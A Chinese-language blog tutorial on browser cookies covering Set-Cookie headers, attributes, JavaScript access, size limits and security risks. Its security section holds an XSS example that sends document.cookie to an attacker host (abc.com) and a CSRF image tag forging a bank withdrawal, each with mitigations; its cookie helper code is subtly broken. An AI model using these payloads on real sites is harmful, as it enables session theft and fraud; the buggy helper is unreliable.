深入理解浏览器Cookie

5,746 阅读7分钟

Cookie产生的背景

随着web应用越来越复杂,希望能够在用户本身机器上存储用户信息,无论是登录信息,偏好设定或其他数据,这个问题第一个方案就是以cookie形式出现的,最早提出cookie的网景公司。一份题为“Persistent Client State: HTTP Cookes”(持久客户端状态:HTTP Cookies)的标准中对 cookie 机制进行了阐述(该标准还可以在这里看到:curl.haxx.se/rfc/cookie_… 只是在客户端存储数据的其中一种选项。

HTTP Cookie,通常直接叫做 cookie,最初是在客户端用于存储会话信息的。该标准要求服务器对 任意 HTTP 请求发送 Set-Cookie HTTP 头作为响应的一部分,其中包含会话信息。例如,这种服务器响 应的头可能如下:

HTTP/1.1 200 OK 
Content-type: text/html 
Set-Cookie: name=value 
Other-header: other-header-value

这个 HTTP 响应设置以 name 为名称、以 value 为值的一个 cookie,名称和值在传送时都必须是URL 编码的。浏览器会存储这样的会话信息,并在这之后,通过为每个请求添加 Cookie HTTP 头将信息发送回服务器,如下所示:

GET /index.html HTTP/1.1 
Cookie: name=value 
Other-header: other-header-value

Cookie的机制

如图所示,用户首次访问服务器,服务器会返回一个独一无二的识别码;id=23451,这样服务器可以用这个码跟踪记录用户的信息,(购物历史,地址信息等)。

cookie可以包含任意的信息,不仅仅是id,客户端会记录服务器返回来的Set-Cookie首部中的cookie内容。并将cookie存储在浏览器的cookie数据库中,当用户访问同一站点时,浏览器就会挑选当时该站点颁发的id=XXX的身份证(cookie),并在Cookie请求首部发送过去。

Cookie的类型

cookie可以根据存储时间分为会话coolie和持久cookie,会话cookie会在关闭浏览器后自动删除,持久性cookie会存储在硬盘上,保存时间更久,关闭浏览器和电脑还可以保存。比如:

document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT";

Cookie的构成

cookie 对于哪个域是有效的。所有向该域发送的请求中都会包含这个 cookie 信息。这个值可以包含子域(subdomain,如www.wrox.com),也可以不包含它(如.wrox.com,则对于wrox.com的所有子域都有效)。如果没有明确设定,那么这个域会被认作来自设置 cookie 的那个域。

储存在 cookie 中的字符串值。值必须被 URL 编码。

路径

对于指定域中的那个路径,应该向服务器发送 cookie。例如,你可以指定 cookie 只有从http://www.wrox.com/books/ 中才能访问,那么 www.wrox.com 的页面就不会发送 cookie 信息,即使请求都是来自同一个域的。

过期时间

表示 cookie 何时应该被删除的时间戳(也就是,何时应该停止向服务器发送这个cookie)。默认情况下,浏览器会话结束时即将所有 cookie 删除;不过也可以自己设置删除时间。这个值是个 GMT 格式的日期(Wdy, DD-Mon-YYYY HH:MM:SS GMT),用于指定应该删除cookie 的准确时间。因此,cookie 可在浏览器关闭后依然保存在用户的机器上。如果你设置的失效日期是个以前的时间,则 cookie 会被立刻删除。

安全标志

指定后,cookie 只有在使用 SSL 连接的时候才发送到服务器。例如,cookie 信息只能发送给 www.wrox.com,而 www.wrox.com 的请求则不能发送 cookie。 每一段信息都作为 Set-Cookie 头的一部分,使用分号加空格分隔每一段,如下例所示。

HTTP/1.1 200 OK
   Content-type: text/html
   Set-Cookie: name=value; expires=Mon, 22-Jan-07 07:10:24 GMT; domain=.wrox.com
   Other-header: other-header-value

该头信息指定了一个叫做 name 的 cookie,它会在格林威治时间 2007 年 1 月 22 日 7:10:24 失效,同时对于 www.wrox.com 和 wrox.com 的任何子域(如 p2p.wrox.com)都有效。 secure 标志是 cookie 中唯一一个非名值对儿的部分,直接包含一个 secure 单词。如下:

HTTP/1.1 200 OK 
Content-type: text/html 
Set-Cookie: name=value; domain=.wrox.com; path=/; secure 
Other-header: other-header-value

这里,创建了一个对于所有 wrox.com 的子域和域名下(由 path 参数指定的)所有页面都有效的cookie。因为设置了 secure 标志,这个 cookie 只能通过 SSL 连接才能传输。尤其要注意,域、路径、失效时间和 secure 标志都是服务器给浏览器的指示,以指定何时应该发送 cookie。这些参数并不会作为发送到服务器的 cookie 信息的一部分,只有名值对儿才会被发送。

Javscript操作cookie

在JavaScript中处理cookie有些复杂,因为其众所周知的蹩脚的接口,即BOM的document. cookie属性。这个属性的独特之处在于它会因为使用它的方式不同而表现出不同的行为。当用来获取属性值时,document.cookie 返回当前页面可用的(根据 cookie 的域、路径、失效时间和安全设置)所有 cookie的字符串,一系列由分号隔开的名值对儿,如下例所示。

name1=value1;name2=value2;name3=value3

所有名字和值都是经过 URL 编码的,所以必须使用 decodeURIComponent()来解码

注意:当用于设置值的时候,document.cookie 属性可以设置为一个新的 cookie 字符串。这个 cookie 字符串会被解释并添加到现有的 cookie 集合中。设置 document.cookie 并不会覆盖 cookie,除非设置的cookie 的名称已经存在。设置 cookie 的格式如下,和 Set-Cookie 头中使用的格式一样。

name=value; expires=expiration_time; path=domain_path; domain=domain_name; secure

这些参数中,只有 cookie 的名字和值是必需的。下面是一个简单的例子。

document.cookie = "name=Nicholas";

这段代码创建了一个叫 name 的 cookie,值为 Nicholas。当客户端每次向服务器端发送请求的时候,都会发送这个 cookie;当浏览器关闭的时候,它就会被删除。虽然这段代码没问题,但因为这里正好名称和值都无需编码,所以最好每次设置 cookie 时都像下面这个例子中一样使用encodeURIComponent()。

document.cookie = encodeURIComponent("name") + "=" + encodeURIComponent("Nicholas");

要给被创建的 cookie 指定额外的信息,只要将参数追加到该字符串,和 Set-Cookie 头中的格式一样,如下所示。

document.cookie = encodeURIComponent("name") + "=" + encodeURIComponent("Nicholas") + "; domain=.wrox.com; path=/";

由于JS操作cookie比较麻烦,我们一般封装一层

var CookieUtil={
     setCookie:function(name,value,expiredays){
        var d=new Date();
        d.setDate(date.getDate()+expiredays);
        window.document.cookie = encodeURIComponent(name) + "=" + encodeURIComponent(value) + ";path=/;expires=" + d.toGMTString();
     },
     getCookie:function(name){
       var v=document.cookie.match('(^|;)'+name+'=([^;]*)(;|$)'));
       return v?v[2]:null;
     },
     deleteCookie:function(name){
       this.setCookie(name, '', -1)

Cookie的缺点

1、大小限制,每个域的 cookie 总数是有限的,不过浏览器之间各有不同

  • IE6 以及更低版本限制每个域名最多 20 个 cookie。
  • IE7 和之后版本每个域名最多 50 个。IE7 最初是支持每个域名最大 20 个 cookie,之后被微软的一个补丁所更新。
  • Firefox 限制每个域最多 50 个 cookie。
  • Opera 限制每个域最多 30 个 cookie。
  • Safari 和 Chrome 对于每个域的 cookie 数量限制没有硬性规定。 大多数浏览器都有大约 4096B(加减 1)的长度限制。为了最佳的浏览器兼容性,最好将整个 cookie 长度限制在 4095B(含 4095)以内。尺寸限制影响到一个域下所有的 cookie,而并非每个 cookie 单独限制。如果你尝试创建超过最大尺寸限制的 cookie,那么该 cookie 会被悄无声息地丢掉。注意,虽然一个字符通常占用一字节,但是多字节情况则有不同。

2、过多的 Cookie 会带来巨大的性能浪费

Cookie 是紧跟域名的。同一个域名下的所有请求,都会携带 Cookie。大家试想,如果我们此刻仅仅是请求一张图片或者一个 CSS 文件,我们也要携带一个 Cookie 跑来跑去(关键是 Cookie 里存储的信息并不需要),这是一件多么劳民伤财的事情。Cookie 虽然小,请求却可以有很多,随着请求的叠加,这样的不必要的 Cookie 带来的开销将是无法想象的。

3、安全性问题

多数网站使用cookie作为用户会话的唯一标识,因为其他的方法具有限制和漏洞。如果一个网站使用cookies作为会话标识符,攻击者可以通过窃取一套用户的cookies来冒充用户的请求。从服务器的角度,它是没法分辨用户和攻击者的,因为用户和攻击者拥有相同的身份验证。 下面介绍几种cookie盗用和会话劫持的例子:

网络窃听

网络上的流量可以被网络上任何计算机拦截,特别是未加密的开放式WIFI。这种流量包含在普通的未加密的HTTP清求上发送Cookie。在未加密的情况下,攻击者可以读取网络上的其他用户的信息,包含HTTP Cookie的全部内容,以便进行中间的攻击。比如:拦截cookie来冒充用户身份执行恶意任务(银行转账等)。

解决办法:服务器可以设置secure属性的cookie,这样就只能通过https的方式来发送cookies了。

DNS缓存中毒

如果攻击者可以使DNS缓存中毒,那么攻击者就可以访问用户的Cookie了,例如:攻击者使用DNS中毒来创建一个虚拟的NDS服务h123456.www.demo.com指向攻击者服务器的ip地址。然后攻击者可以从服务器 h123456.www.demo.com/img_01.png 发布图片。用户访问这个图片,由于 www.demo.com和h123456.www.demo.com是同一个子域,所以浏览器会把用户的与www.demo.com相关的cookie都会发送到h123456.www.demo.com这个服务器上,这样攻击者就会拿到用户的cookie搞事情。

一般情况下是不会发生这种情况,通常是网络供应商错误。

跨站点脚本XSS

使用跨站点脚本技术可以窃取cookie。当网站允许使用javascript操作cookie的时候,就会发生攻击者发布恶意代码攻击用户的会话,同时可以拿到用户的cookie信息。 例子:

<a href="#" onclick=window.location=http://abc.com?cookie=${docuemnt.cookie}>

当用户点击这个链接的时候,浏览器就会执行onclick里面的代码,结果这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器。攻击者同样可以拿cookie搞事情。

解决办法:可以通过cookie的HttpOnly属性,设置了HttpOnly属性,javascript代码将不能操作cookie。

跨站请求伪造CSRF

例如,SanShao可能正在浏览其他用户XiaoMing发布消息的聊天论坛。假设XiaoMing制作了一个引用ShanShao银行网站的HTML图像元素,例如,

<img src = "http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >

如果SanShao的银行将其认证信息保存在cookie中,并且cookie尚未过期,(当然是没有其他验证身份的东西),那么SanShao的浏览器尝试加载该图片将使用他的cookie提交提款表单,从而在未经SanShao批准的情况下授权交易。

解决办法:增加其他信息的校验(手机验证码,或者其他盾牌)。

文章转载地址:github.com/huzhao0316/…